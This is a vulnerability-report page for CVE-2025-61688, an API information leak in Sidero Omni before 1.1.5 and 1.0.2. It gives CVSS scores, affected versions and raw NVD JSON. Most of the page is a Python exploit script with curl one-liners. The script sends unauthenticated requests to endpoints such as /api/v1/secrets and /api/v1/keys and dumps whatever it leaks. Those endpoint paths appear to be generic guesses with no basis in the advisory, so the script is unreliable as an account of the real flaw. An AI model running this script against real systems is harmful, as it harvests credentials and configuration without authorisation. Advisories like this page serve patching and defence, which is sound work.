Security Vulnerability Report
中文
CVE-2025-61688 CVSS 8.6 HIGH

CVE-2025-61688

Published: 2025-10-13 21:15:35
Last Modified: 2025-12-04 21:30:36

Description

Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.1.5 and 1.0.2, Omni might leak sensitive information via an API.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:* - VULNERABLE
Sidero Omni < 1.0.2
Sidero Omni 1.1.0 ~ 1.1.4(< 1.1.5)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61688 - Omni API Sensitive Information Disclosure PoC # This PoC demonstrates how an unauthenticated attacker can access # sensitive information via Omni's API endpoints. import requests import sys import json # Target Omni API endpoint (replace with actual target) TARGET_URL = "http://target-omni-instance:8090" def exploit_omni_info_disclosure(target_url): """ Exploit sensitive information disclosure in Omni API. The vulnerability exists in versions prior to 1.1.5 and 1.0.2. """ # Common Omni API endpoints that may leak sensitive information api_endpoints = [ "/api/v1/clusters", "/api/v1/machines", "/api/v1/config", "/api/v1/keys", "/api/v1/secrets", "/api/v1/auth/keys", "/api/v1/identity", "/api/v1/resources", ] headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json", } leaked_data = {} for endpoint in api_endpoints: url = f"{target_url}{endpoint}" try: # Send unauthenticated request to vulnerable API endpoint response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Status: {response.status_code}") try: data = response.json() leaked_data[endpoint] = data print(f"[+] Leaked data:\n{json.dumps(data, indent=2)}") except json.JSONDecodeError: leaked_data[endpoint] = response.text print(f"[+] Raw response:\n{response.text[:500]}") elif response.status_code == 401: print(f"[-] Authentication required: {endpoint}") elif response.status_code == 403: print(f"[-] Access forbidden: {endpoint}") else: print(f"[?] Unexpected status {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {endpoint}: {e}") return leaked_data def curl_exploit_example(target_url): """ Simple curl-based exploitation example. """ print("\n=== Curl-based Exploit Examples ===") print(f"# Attempt to access sensitive API endpoints without authentication:\n") print(f"curl -s {target_url}/api/v1/clusters") print(f"curl -s {target_url}/api/v1/machines") print(f"curl -s {target_url}/api/v1/config") print(f"curl -s {target_url}/api/v1/keys") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-61688 - Omni API Information Disclosure\n") leaked = exploit_omni_info_disclosure(TARGET_URL) curl_exploit_example(TARGET_URL) if leaked: print("\n[!] Sensitive information has been leaked!") print("[!] Review the output above for exposed credentials and configurations.") else: print("\n[-] No vulnerable endpoints found or target is patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61688", "sourceIdentifier": "[email protected]", "published": "2025-10-13T21:15:34.613", "lastModified": "2025-12-04T21:30:35.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.1.5 and 1.0.2, Omni might leak sensitive information via an API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:*", "versionEndExcluding": "1.0.2", "matchCriteriaId": "B7B04852-C400-4D56-9C77-EF08063D24DE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.5", "matchCriteriaId": "2102EFDA-BE62-4587-A556-98CF28167D6D"}]}]}], "references": [{"url": "https://github.com/siderolabs/omni/security/advisories/GHSA-77r9-w39m-9xh5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}